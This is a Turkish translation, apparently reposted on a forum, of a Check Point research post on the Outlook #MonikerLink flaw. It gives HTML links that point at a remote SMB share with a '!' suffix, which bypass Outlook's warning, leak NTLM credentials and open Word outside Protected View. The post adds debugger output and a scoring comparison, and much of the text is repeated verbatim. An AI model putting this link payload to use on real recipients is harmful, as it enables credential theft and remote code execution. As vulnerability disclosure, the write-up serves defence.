Son zamanlarda, Check Point Araştırma ekibi "Açık, Normal ve Gelişmiş: Outlook Saldırı Vektörlerinin Kapsamlı Bir Analizi" başlıklı bir beyaz kağıt yayınladı. Bu beyaz kağıt, popüler Outlook uygulamasının organizasyonlara getirebileceği güvenlik risklerini endüstriye anlatmak için çeşitli saldırı vektörlerini detaylandırıyor. Beyaz kağıtta belirtildiği gibi, uygulama belirli hyperlink'leri işlerken Outlook'ta ilginç bir güvenlik sorunu keşfettik. Bu blog yazısında, bu sorunla ilgili araştırmamızı güvenlik topluluğuyla paylaşacak ve ona karşı savunmaya yardımcı olacağız. Ayrıca, bu hatanın diğer yazılımlar üzerindeki daha geniş etkisini vurgulayacağız.
Outlook'ta Hyperlink Davranışları
Beyaz kağıdımızın I. Bölümü'nde (Açık: Hyperlink Saldırı Vektörü) tartışıldığı gibi, eğer hyperlink "http://" veya "https://" ile başlarsa - bildiğimiz gibi bir web bağlantısıdır - Outlook (varsayılan) tarayıcıyı Windows'ta başlatır ve web URL'sini açar. Bu, her Outlook kullanıcısının bildiği çok açık bir davranıştır.
Bazıları başka protokollerin http/https dışındakiler olduğunu merak edebilir mi? Evet, bu testi yaptık. Eğer link dizesi tipik bir uygulama URL protokolüyle başlarsa ve Outlook o URL protokolünün bazı güvenlik endişeleri taşıyabileceğini düşünüyorsa, örneğin "Skype" URL protokolü gibi, aşağıdaki gibi (bir HTML e-postasında):
Outlook'ta Hyperlink Davranışları
Beyaz kağıdımızın I. Bölümü'nde (Açık: Hyperlink Saldırı Vektörü) tartışıldığı gibi, eğer hyperlink "http://" veya "https://" ile başlarsa - bildiğimiz gibi bir web bağlantısıdır - Outlook (varsayılan) tarayıcıyı Windows'ta başlatır ve web URL'sini açar. Bu, her Outlook kullanıcısının bildiği çok açık bir davranıştır.
Bazıları başka protokollerin http/https dışındakiler olduğunu merak edebilir mi? Evet, bu testi yaptık. Eğer link dizesi tipik bir uygulama URL protokolüyle başlarsa ve Outlook o URL protokolünün bazı güvenlik endişeleri taşıyabileceğini düşünüyorsa, örneğin "Skype" URL protokolü gibi, aşağıdaki gibi (bir HTML e-postasında):
Kod:
*<a href="skype:SkypeName?call">Call me on Skype</a>*O linke tıkladığımızda, bir uyarı iletişim kutusu bize linkin güvenli olmayabileceğini uyararak teşvik edildi.
Şekil 1 - Kullanıcı üçüncü taraf bir URL protokolü Hyperlinkine tıkladığında Outlook bir uyarı iletişim kutusu çıkarır.
Şimdi, yaygın "file://" protokolüyle kontrol edelim. İlk olarak, aşağıdaki ile birlikte test ettik, protokolü uzak bir Word dosyasına işaret etmek için kullanarak (testleri yeniden üretmek istiyorsanız IP adresinizi kendi IP adresinizle değiştirin).
Şekil 1 - Kullanıcı üçüncü taraf bir URL protokolü Hyperlinkine tıkladığında Outlook bir uyarı iletişim kutusu çıkarır.
Şimdi, yaygın "file://" protokolüyle kontrol edelim. İlk olarak, aşağıdaki ile birlikte test ettik, protokolü uzak bir Word dosyasına işaret etmek için kullanarak (testleri yeniden üretmek istiyorsanız IP adresinizi kendi IP adresinizle değiştirin).
Kod:
*<a href=”file:///\\10.10.111.111\test\test.rtf”>CLICK ME</a>*Hyperlink'e tıkladığımızda, önceki "Skype" URL protokolünde olduğu gibi uyarı iletişim kutusu çıkmadı. Ancak, Windows Bildirim Merkezi'nde kullanıcıya bir hata iletileri gösterildi. Ve uzak "test.rtf" dosyasına gerçekten erişilmedi. Windows Bildirim Merkezi alanındaki hata iletişim kutusu aşağıdaki gibi görünüyor:
Şekil 2 - Kullanıcı uzak bir dosyaya işaret eden tipik bir Hyperlink'e tıkladığında Outlook bir hata iletişim kutusu gösterir.
Bu mantıklı ve güvenlik açısından iyidir. Çünkü, eğer Outlook kullanıcıya uzak dosyaya erişim izni verirse, en azından yerel NTLM kimlik bilgileri sızdırılır, çünkü uzak kaynağa erişim yerel kimlik bilgisini doğrulamak için yerel kimlik bilgilerini kullanacak olan SMB protokolü üzerinden gerçekleşir.
#MonikerLink Hatası
Ancak, yukarıdaki bağlantı hakkında hafif bir değişiklik yaparsak, örneğin, aşağıdaki gibi değiştirirsek.
Şekil 2 - Kullanıcı uzak bir dosyaya işaret eden tipik bir Hyperlink'e tıkladığında Outlook bir hata iletişim kutusu gösterir.
Bu mantıklı ve güvenlik açısından iyidir. Çünkü, eğer Outlook kullanıcıya uzak dosyaya erişim izni verirse, en azından yerel NTLM kimlik bilgileri sızdırılır, çünkü uzak kaynağa erişim yerel kimlik bilgisini doğrulamak için yerel kimlik bilgilerini kullanacak olan SMB protokolü üzerinden gerçekleşir.
#MonikerLink Hatası
Ancak, yukarıdaki bağlantı hakkında hafif bir değişiklik yaparsak, örneğin, aşağıdaki gibi değiştirirsek.
Kod:
*<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>*Not edilmeli ki "test.rtf"nin sonuna bir "!" ekledik ve ayrıca bazı rastgele karakterler "birşeyler" ekledik.
Böyle bir bağlantı, önceden tartışılan mevcut Outlook güvenlik kısıtlamasını atlayacak ve kullanıcı bağlantıyı tıkladığında Outlook uzak kaynağa erişmeye devam edecek olan "10.10.111.111\test\test.rtf" dosyasına erişecektir.
Burada ana nokta özel ünlem işareti "!" dir, bu işareti Outlook'un davranışını değiştirir.
Hatanın Etkisi
- Yerel NTLM kimlik bilgilerinin sızdırılmasıUzak "test.rtf" dosyasına erişme girişiminin SMB protokolünü (port 445) kullanacağı ve bu süreçte yerel NTLM kimlik bilgilerinin sızdırılacağı kolayca gözlemlenebilir. Bu, birçok diğer NTLM kimlik bilgisi sızdırma hilesiyle aynı süreçtir.
Şekil 3 - #MonikerLink bir hatası olarak sömürüldüğünde NTLM kimlik bilgileri sızdırılır.
Yeni saldırı vektöründen keyfi kod yürütme
Daha fazlasını yapabilir mi? Bu, cevaplamak için çok zaman harcadığımız daha derin bir sorudur. Temelde, kullanıcının "file:///\10.10.111.111\test\test.rtf!something" gibi bir bağlantıya tıkladığında ne olduğunu gerçekten anlamamız gerekmektedir.
Aslında, derinlemesine analizimiz, Outlook'un bağlantıyı bir "Moniker Linki" olarak (bizim adlandırdığımız gibi) işlediğini göstermektedir. Monikerlar, Windows'ta bileşen nesne modelinin ("COM") temel kavramlarından biridir. "Moniker Link" dizesi, çağrıcının COM nesnelerini "aramak" için dizeyi kullanacağını belirtir. Daha fazla bilgi edinmek için ilgili bağlantılı Microsoft belgelerini okuyun.
Teknik olarak, Outlook bu işlemi yapmak için "ole32!MkParseDisplayName()" API'sını çağırır - Moniker Link dizesini ayrıştırır ve COM nesnelerini "aramak" için bunu kullanır. Outlook'u hata ayıklarken, Windbg'de bu API üzerinde basit bir kesme noktası ayarlayarak bunu doğrulayabiliriz. Kullanıcı bağlantıya tıkladığı sürece kesme noktası tetiklenecektir.
Kod:
Breakpoint 0 hit
eax=00000000 ebx=00000023 ecx=1a168666 edx=0000002f esi=1a168620 edi=800401e4
eip=772a5ca0 esp=009c8d2c ebp=009c97ac iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ole32!MkParseDisplayName:
772a5ca0 8bff mov edi,edi
0:000> k
# ChildEBP RetAddr
00 009c97ac 64707f22 ole32!MkParseDisplayName [com\ole32\com\moniker2\cmonimp.cxx @ 1413]
01 009c97ac 64703930 hlink!HrParseDisplayNameEx+0x5052
02 009c983c 64702dc8 hlink!HrIntHlinkCreate+0x140
03 009c9878 740af6db hlink!HlinkCreateFromString+0xa8
04 009c9914 69e839bf mso30win32client!MsoHrHlinkCreateFromString+0x8d
05 009c9a88 69e837af wwlib!HrCreateHlinkParseField+0x1eb
06 009cec94 69dbd065 wwlib!HrCreateHlinkFromField+0xda
07 009cece4 6a814114 wwlib!FReadHyperlinkFieldData+0x1c7
08 009cedac 6acc1cd8 wwlib!TmcHyperlinkOpen+0xbe
09 009cedd8 6aceaea3 wwlib!FDoHyperlinkHit+0x9f
0a 009cedf0 6b109066 wwlib!FHandleHyperlinkOnClick+0x43
0b 009cee38 6b101b7a wwlib!CHyperlinkTE::HandleClick+0x129
0c 009cf07c 6b101f6e wwlib!CDispatcherTE::OnClick+0x2ae
0d 009cf090 6b0f8d59 wwlib!CDispatcherTE::OnSingleClick+0x10
0e 009cf0a8 6b0f8f0e wwlib!CMouseToolApp::ExecuteGesture+0xfa
...Microsoft'un API belgesine göre, "MkParseDisplayName()" API'sinin ikinci parametresi olan "szUserName" parametresi, ayrıştırılacak "görüntülenen adı" temsil eder. Bunu kontrol edelim.
Kod:
0:000> du poi(esp+4*2)
1a168620 "\\10.10.111.111\test\test.rtf!something"Moniker Link dizesinin olduğunu görüyoruz (URL protokol öneki "file:///" kaldırılmıştır).
Ayrıca, API belgesinde açıklandığı gibi, bu "!" içeriyorsa, bu bir bileşik moniker anlamına gelir: "test.rtf" tabanlı bir FileMoniker ve "something" tabanlı bir ItemMoniker.
Bu nedenle, testimiz, Outlook'un Moniker Link dizesinin işaret ettiği COM nesnesini aramak için API'yi - MkParseDisplayName() - çağırdığını doğruluyor.
Bileşen Nesne Modeli oldukça karmaşıktır; birçok kavramı içerir. Ancak basitçe söylemek gerekirse, bu senaryo için, çağrıcı (burada Outlook uygulaması) işi yapmak için COM yardımcı API'lerini (burada "MkParseDisplayName()") çağırır. Gerçekten, COM nesnesi için nasıl ve ne döndüreceğine bağlı olarak hedef uygulama ("COM sunucusu") tarafından geri döndürülür. COM sunucusu, çağrıcının veya sarmalama API'lerinin belirli COM Arayüzlerini uygular ve sunar. Süreç temelde kendi uygulamanızdan harici bir uygulamayı çalıştırmaya benzer (ancak COM çok daha karmaşıktır).
Bu nedenle, COM sunucusunun ne yapacağını bilmediğimiz için çeşitli güvenlik sorunlarına neden olabilir.
Yukarıdaki örnekte - FileMoniker + ItemMoniker ile bileşik moniker için, uzantı adı ".rtf" olduğu için, Moniker Link tarafından işaret edilen COM nesnesini "aramak" için Microsoft Word'u çağırır/çalıştırır. Word, COM tabanlı iyi tasarlanmış bir uygulamadır. Süreç temelde aşağıdaki gibidir.
Windows, Microsoft Word'ü arka planda bir COM sunucusu olarak çalıştırır (normal Word arayüzünü göstermeden).
Arka planda, Word, FileMoniker - "file://10.10.111.111\test\test.rtf" dizesine dayalı olarak işaret edilen "test.rtf" dosyasını açar ve ayrıştırır. Bundan sonra, ItemMoniker - "something" dizesine dayalı olarak işaret edilen nesneyi aramaya çalışır.
İşte bu sorun, Word'ün (bir COM sunucusu olarak çalıştığı) test.rtf dosyasını ayrıştırırken süreçte bir kod yürütme gibi bir hata olması durumunda ne olacağıdır.
Biz bir .rtf PoC kullandık ve saldırıyı yeniden ürettik, aşağıdaki gibi, "WINWORD.EXE" işleminde çöküyor.
(not: kullandığımız "çökme" PoC'si, önceki bir RTF zafiyetini Microsoft yamaladıktan sonra sadece işlenemez bir çökmedir, ancak RTF dosyasının ayrıştırıldığını kanıtlamak için yeterlidir.)
Şekil 4 - #MoinkerLink'in bir saldırı vektörü olarak sömürüldüğünde olası uzaktan kod yürütme gösterimi
Ayrıca, vurgulanan fonksiyon adları belirttiği gibi, arka plandaki Word işlemi bir COM sunucusu olarak başlatıldığını görebiliyoruz.
Daha da ciddi olan, tüm süreç Korunan Görünüm modunu içermiyor - arka plandaki Word işlemi Orta bütünlük düzeyinde çalışır. Bu nedenle, bu saldırı vektörü Korunan Görünüm'ü bile atlar. Saldırganın kurbanın makinesinde kod yürütmesini bile daha kolay hale getirir.
Tekrar vurgulamak isteriz ki Word (RTF PoC) burada sadece bir örnektir, gerçekten. Bileşen Nesne Modeli'nin doğası gereği, gerçekten de sömürülen uygulamaya (COM sunucusu) ve uygulamanın ne kadar güvenli olduğuna bağlıdır. Burada tartıştığımız "Moniker Link" sorunu, gelecekte birçok uygulamanın sömürülmesine "kapıyı açan" bir saldırı vektörüdür. Bazı uygulamalar hatta Windows'ta varsayılan olarak kurulu olanlar olmayabilir ve zaman zaman kullanıcılar tarafından yüklenmiş olabilir. Bu nedenle, bu saldırı vektörü tarafından açılan oldukça büyük bir saldırı yüzeyi bulunmaktadır.
İlginç bir şekilde, MkParseDisplayName() veya MkParseDisplayNameEx() kullanarak saldırgan tarafından kontrol edilen girişi ayrıştırmak güvensizdir diyen bir Microsoft belgesi bile var.
Şekil 5 - Microsoft, MkParseDisplayName/MkParseDisplayNameEx API'lerinin kullanımının risklerinden bahsediyor
Diğer Outlook saldırı vektörleriyle karşılaştırıldığında
Şimdi, tüm süreci ve sorunları anladık. Bazı okuyucular bu gerçekten endişe verici mi diye merak edebilir? Outlook'taki diğer saldırı vektörleriyle karşılaştırırsak ne olur? Bu iyi bir soru.
Şimdi bunu cevaplayabilelim diye Outlook saldırı vektörü belgemizi yayınladık. Belgemizde incelenen ve tanımlanan gibi, tek bir tıklamanın puanı, bu durumda bir hyperlink'e tek tıklamak, 1.0'dir.
Saldırganın, Microsoft Word için Korunan Görünüm olmadan çalışan bir kötü amaçlı kodu olduğunu varsayalım (bu en yaygın durumdur). Eğer saldırı, bir eklenti olarak gönderilirse, saldırganın kurbanın ekteki dosyaya bir çift tıklama yapmasına ihtiyacı vardır (Belgedeki Senaryo 2.2.1). Ancak, bu toplam değildir çünkü dış e-posta adresinden gönderilen bir eklenti, Word'de Korunan Görünüm'ü etkinleştirir ve bu da saldırganın kötü amaçlı kodunu çalıştırmaz çünkü Korunan Görünüm etkinleştirildiğinde saldırı çalışmaz. Bu, saldırganın kurbanı Word Korunan Görünüm modundan çıkmak için başka bir tek tıklama yapmasını kandırması gerektiği anlamına gelir, böylece saldırısı çalışabilir.
Bu nedenle, toplamda, bu saldırı zincirinin tamamı için bir çift tıklama ve bir tek tıklama vardır. Kullanıcı etkileşim puanı: 1.2 + 1 = 2.2'dir.
Saldırgan, saldırıyı "Moniker Link" saldırı vektörü ile teslim ederse, bu sadece bir tek tıklama (linki tıklama) olur ve aynı zamanda Korunan Görünüm'ü atlar. Bu nedenle, toplam puan sadece 1.0'dır. Bu, geleneksel puan olan 2.2'den (daha düşük puan, saldırganlar için daha iyidir - kullanıcılar için kötü) çok daha iyidir.
Şimdi, saldırganın (kullanıcı güvenliği için kötü) Word saldırısını "Moniker Link" saldırı vektörünü kullanarak teslim etmesi daha uygun olduğunu net bir şekilde anlayabilirsiniz.
(not: "Moniker Link" saldırı vektörü için küçük daha fazla gereksinimler vardır, örneğin, saldırı Word COM sunucu moduyla çalışmalıdır, kurbanın ağı dışarıya doğru SMB trafiğine izin vermelidir)
Savunma ve Azaltma
Bu #MonikerLink hatasını/saldırı vektörünü en son Windows 10/11 + Microsoft 365 (Office 2021) ortamlarında doğruladık. Diğer Office sürümleri/sürümlerinin de etkilendiği muhtemeldir. Aslında, bu, çekirdekteki COM API'lerinin temelinde bulunduğu için Windows/COM ekosisteminde yıllardır var olduğunu düşündüğümüz gözden kaçan bir sorundur.
ÇÖZÜM
Ayrıca, API belgesinde açıklandığı gibi, bu "!" içeriyorsa, bu bir bileşik moniker anlamına gelir: "test.rtf" tabanlı bir FileMoniker ve "something" tabanlı bir ItemMoniker.
Bu nedenle, testimiz, Outlook'un Moniker Link dizesinin işaret ettiği COM nesnesini aramak için API'yi - MkParseDisplayName() - çağırdığını doğruluyor.
Bileşen Nesne Modeli oldukça karmaşıktır; birçok kavramı içerir. Ancak basitçe söylemek gerekirse, bu senaryo için, çağrıcı (burada Outlook uygulaması) işi yapmak için COM yardımcı API'lerini (burada "MkParseDisplayName()") çağırır. Gerçekten, COM nesnesi için nasıl ve ne döndüreceğine bağlı olarak hedef uygulama ("COM sunucusu") tarafından geri döndürülür. COM sunucusu, çağrıcının veya sarmalama API'lerinin belirli COM Arayüzlerini uygular ve sunar. Süreç temelde kendi uygulamanızdan harici bir uygulamayı çalıştırmaya benzer (ancak COM çok daha karmaşıktır).
Bu nedenle, COM sunucusunun ne yapacağını bilmediğimiz için çeşitli güvenlik sorunlarına neden olabilir.
Yukarıdaki örnekte - FileMoniker + ItemMoniker ile bileşik moniker için, uzantı adı ".rtf" olduğu için, Moniker Link tarafından işaret edilen COM nesnesini "aramak" için Microsoft Word'u çağırır/çalıştırır. Word, COM tabanlı iyi tasarlanmış bir uygulamadır. Süreç temelde aşağıdaki gibidir.
Windows, Microsoft Word'ü arka planda bir COM sunucusu olarak çalıştırır (normal Word arayüzünü göstermeden).
Arka planda, Word, FileMoniker - "file://10.10.111.111\test\test.rtf" dizesine dayalı olarak işaret edilen "test.rtf" dosyasını açar ve ayrıştırır. Bundan sonra, ItemMoniker - "something" dizesine dayalı olarak işaret edilen nesneyi aramaya çalışır.
İşte bu sorun, Word'ün (bir COM sunucusu olarak çalıştığı) test.rtf dosyasını ayrıştırırken süreçte bir kod yürütme gibi bir hata olması durumunda ne olacağıdır.
Biz bir .rtf PoC kullandık ve saldırıyı yeniden ürettik, aşağıdaki gibi, "WINWORD.EXE" işleminde çöküyor.
(not: kullandığımız "çökme" PoC'si, önceki bir RTF zafiyetini Microsoft yamaladıktan sonra sadece işlenemez bir çökmedir, ancak RTF dosyasının ayrıştırıldığını kanıtlamak için yeterlidir.)
Şekil 4 - #MoinkerLink'in bir saldırı vektörü olarak sömürüldüğünde olası uzaktan kod yürütme gösterimi
Ayrıca, vurgulanan fonksiyon adları belirttiği gibi, arka plandaki Word işlemi bir COM sunucusu olarak başlatıldığını görebiliyoruz.
Daha da ciddi olan, tüm süreç Korunan Görünüm modunu içermiyor - arka plandaki Word işlemi Orta bütünlük düzeyinde çalışır. Bu nedenle, bu saldırı vektörü Korunan Görünüm'ü bile atlar. Saldırganın kurbanın makinesinde kod yürütmesini bile daha kolay hale getirir.
Tekrar vurgulamak isteriz ki Word (RTF PoC) burada sadece bir örnektir, gerçekten. Bileşen Nesne Modeli'nin doğası gereği, gerçekten de sömürülen uygulamaya (COM sunucusu) ve uygulamanın ne kadar güvenli olduğuna bağlıdır. Burada tartıştığımız "Moniker Link" sorunu, gelecekte birçok uygulamanın sömürülmesine "kapıyı açan" bir saldırı vektörüdür. Bazı uygulamalar hatta Windows'ta varsayılan olarak kurulu olanlar olmayabilir ve zaman zaman kullanıcılar tarafından yüklenmiş olabilir. Bu nedenle, bu saldırı vektörü tarafından açılan oldukça büyük bir saldırı yüzeyi bulunmaktadır.
İlginç bir şekilde, MkParseDisplayName() veya MkParseDisplayNameEx() kullanarak saldırgan tarafından kontrol edilen girişi ayrıştırmak güvensizdir diyen bir Microsoft belgesi bile var.
Şekil 5 - Microsoft, MkParseDisplayName/MkParseDisplayNameEx API'lerinin kullanımının risklerinden bahsediyor
Diğer Outlook saldırı vektörleriyle karşılaştırıldığında
Şimdi, tüm süreci ve sorunları anladık. Bazı okuyucular bu gerçekten endişe verici mi diye merak edebilir? Outlook'taki diğer saldırı vektörleriyle karşılaştırırsak ne olur? Bu iyi bir soru.
Şimdi bunu cevaplayabilelim diye Outlook saldırı vektörü belgemizi yayınladık. Belgemizde incelenen ve tanımlanan gibi, tek bir tıklamanın puanı, bu durumda bir hyperlink'e tek tıklamak, 1.0'dir.
Saldırganın, Microsoft Word için Korunan Görünüm olmadan çalışan bir kötü amaçlı kodu olduğunu varsayalım (bu en yaygın durumdur). Eğer saldırı, bir eklenti olarak gönderilirse, saldırganın kurbanın ekteki dosyaya bir çift tıklama yapmasına ihtiyacı vardır (Belgedeki Senaryo 2.2.1). Ancak, bu toplam değildir çünkü dış e-posta adresinden gönderilen bir eklenti, Word'de Korunan Görünüm'ü etkinleştirir ve bu da saldırganın kötü amaçlı kodunu çalıştırmaz çünkü Korunan Görünüm etkinleştirildiğinde saldırı çalışmaz. Bu, saldırganın kurbanı Word Korunan Görünüm modundan çıkmak için başka bir tek tıklama yapmasını kandırması gerektiği anlamına gelir, böylece saldırısı çalışabilir.
Bu nedenle, toplamda, bu saldırı zincirinin tamamı için bir çift tıklama ve bir tek tıklama vardır. Kullanıcı etkileşim puanı: 1.2 + 1 = 2.2'dir.
Saldırgan, saldırıyı "Moniker Link" saldırı vektörü ile teslim ederse, bu sadece bir tek tıklama (linki tıklama) olur ve aynı zamanda Korunan Görünüm'ü atlar. Bu nedenle, toplam puan sadece 1.0'dır. Bu, geleneksel puan olan 2.2'den (daha düşük puan, saldırganlar için daha iyidir - kullanıcılar için kötü) çok daha iyidir.
Şimdi, saldırganın (kullanıcı güvenliği için kötü) Word saldırısını "Moniker Link" saldırı vektörünü kullanarak teslim etmesi daha uygun olduğunu net bir şekilde anlayabilirsiniz.
(not: "Moniker Link" saldırı vektörü için küçük daha fazla gereksinimler vardır, örneğin, saldırı Word COM sunucu moduyla çalışmalıdır, kurbanın ağı dışarıya doğru SMB trafiğine izin vermelidir)
Savunma ve Azaltma
Bu #MonikerLink hatasını/saldırı vektörünü en son Windows 10/11 + Microsoft 365 (Office 2021) ortamlarında doğruladık. Diğer Office sürümleri/sürümlerinin de etkilendiği muhtemeldir. Aslında, bu, çekirdekteki COM API'lerinin temelinde bulunduğu için Windows/COM ekosisteminde yıllardır var olduğunu düşündüğümüz gözden kaçan bir sorundur.
ÇÖZÜM
İçeriği görüntülemek için Giriş yapın veya Kayıt olun.
İçeriği görüntülemek için Giriş yapın veya Kayıt olun.
İçeriği görüntülemek için Giriş yapın veya Kayıt olun.
